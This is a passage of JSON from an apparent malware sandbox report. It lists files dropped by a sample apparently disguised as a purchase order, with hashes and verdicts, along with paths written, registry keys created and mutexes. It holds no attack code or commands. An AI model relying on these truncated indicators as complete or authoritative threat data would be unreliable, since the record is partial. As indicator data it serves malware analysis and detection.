1a6fbedf25208efbd5ff0d8be608704d3c38eb1130a4be889","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"CSC568C94D91187466593CBC9BE77294AA.TMP","sha256":"7ea603b0c58c0178932c4e13fcd13e6d270f1acdc9510e0a606a349e85d4e9e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"StartupProfileData-NonInteractive","sha256":"6e8fd3094541f9b98f66fb7910d7ad542589f9ccc795186186d1f5d5efaf8c87","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"RESCFCD.tmp","sha256":"cd0e16446bf63303e0495ad50555b9e7d787ba3dfc4a20983a98063628edf640","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"u2nd3ci3.cmdline","sha256":"de4fe475ce8b999dd193be9c1e5e32a149549b3b1854e3867d0e217e3bc3a676","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"u2nd3ci3.out","sha256":"1508bc9d98a776354b7456cd37c3216f0f14c39de9dd6d7dd75064ffd5b935ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"HJGROUPS-PURCHASEORDER#170331.exe.log","sha256":"2b8893b9391fc78639976ed48fbd7302a1d6a8f28d69b55a200a52ba2f8a9cf5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"ilffpbsg.cmdline","sha256":"7834bbae4f99c4e1011c9b69305a9f127d6ba3e9186af2274fe981149f54b169","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"6197000d-3ba1-4b9f-ac39-95fe0a8d2ed1.bat","sha256":"2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"rhmssxgz.cmdline","sha256":"eb8a222e401fa9094075f6876c09bddd38b860907c5da6f55a26bdbfc37cdbb6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"ilffpbsg.0.cs","sha256":"1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"rhmssxgz.dll","sha256":"95caa9e366733ad73f2325b70726af43661330b9e2c502e077c7dbb207412628","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"__PSScriptPolicyTest_ansarajn.xxt.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"ModuleAnalysisCache","sha256":"d958350413adb514c2de3cf175192821bc231d8af2a98d478eedc26bfde20f56","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"rhmssxgz.out","sha256":"bf8aed042a9da4a222a37f262d87998eba678a864f4a90e1c99a6fb4037a6bfc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"2d24a7bf56001668_e6b690ff-df59-4d43-babb-7cf1d2632018.bat","sha256":"2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]}],"files_written":[{"path":"/dev/shm/mono.1892","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"}]},{"path":"/tmp/84b772c6-3b01-4118-a9df-09239a2f716b.bat","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_trctbrev.kim.ps1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ansarajn.xxt.psm1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_cngezrz0.hi4.ps1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1edghtcv.q3b.psm1","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.tmp","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.0.cs","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.dll","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.cmdline","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.out","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\u2nd3ci3\\u2nd3ci3.err","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"path":"%TEMP%\\b5b96765-2299-4e59-b710-e6f0623ce535.bat","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\zdfhsffh.kas.ps1","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\i0ot5nho.azd.psm1","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\b2wjyeih.3dr.ps1","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\5oedi15r.gj1.psm1","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.tmp","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.0.cs","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.dll","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.cmdline","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.out","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%TEMP%\\rhmssxgz\\rhmssxgz.err","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\HJGROUPS-PURCHASEORDER#170331.exe.log","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\6197000d-3ba1-4b9f-ac39-95fe0a8d2ed1.bat","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_oi34omqv.mh1.ps1","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xqirnmfj.zme.psm1","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zlkqvt2m.4wg.ps1","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_y3hmuayy.axp.psm1","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.tmp","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.0.cs","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.dll","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.cmdline","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.out","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"%TEMP%\\ilffpbsg\\ilffpbsg.err","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"path":"/dev/shm/mono.1429","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"path":"/tmp/e6b690ff-df59-4d43-babb-7cf1d2632018.bat","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]}],"files_deleted":[{"path":"/tmp/e6b690ff-df59-4d43-babb-7cf1d2632018.bat","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"path":"/dev/shm/mono.1429","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]}]},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\POWERSHELL_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]}],"keys_modified":[],"keys_deleted":[]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7312:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:7312:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:3572:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5088:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5088:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5088:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:5088:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"SM0:5088:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:5088:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:864:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:864:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:864:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:864:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"Local\\SM0:864:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"SM0:864:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7584:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"SM0:7584:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Local\\SM0:7584:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Local\\SM0:7584:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"SM0:7584:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7584:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7584:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7584:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0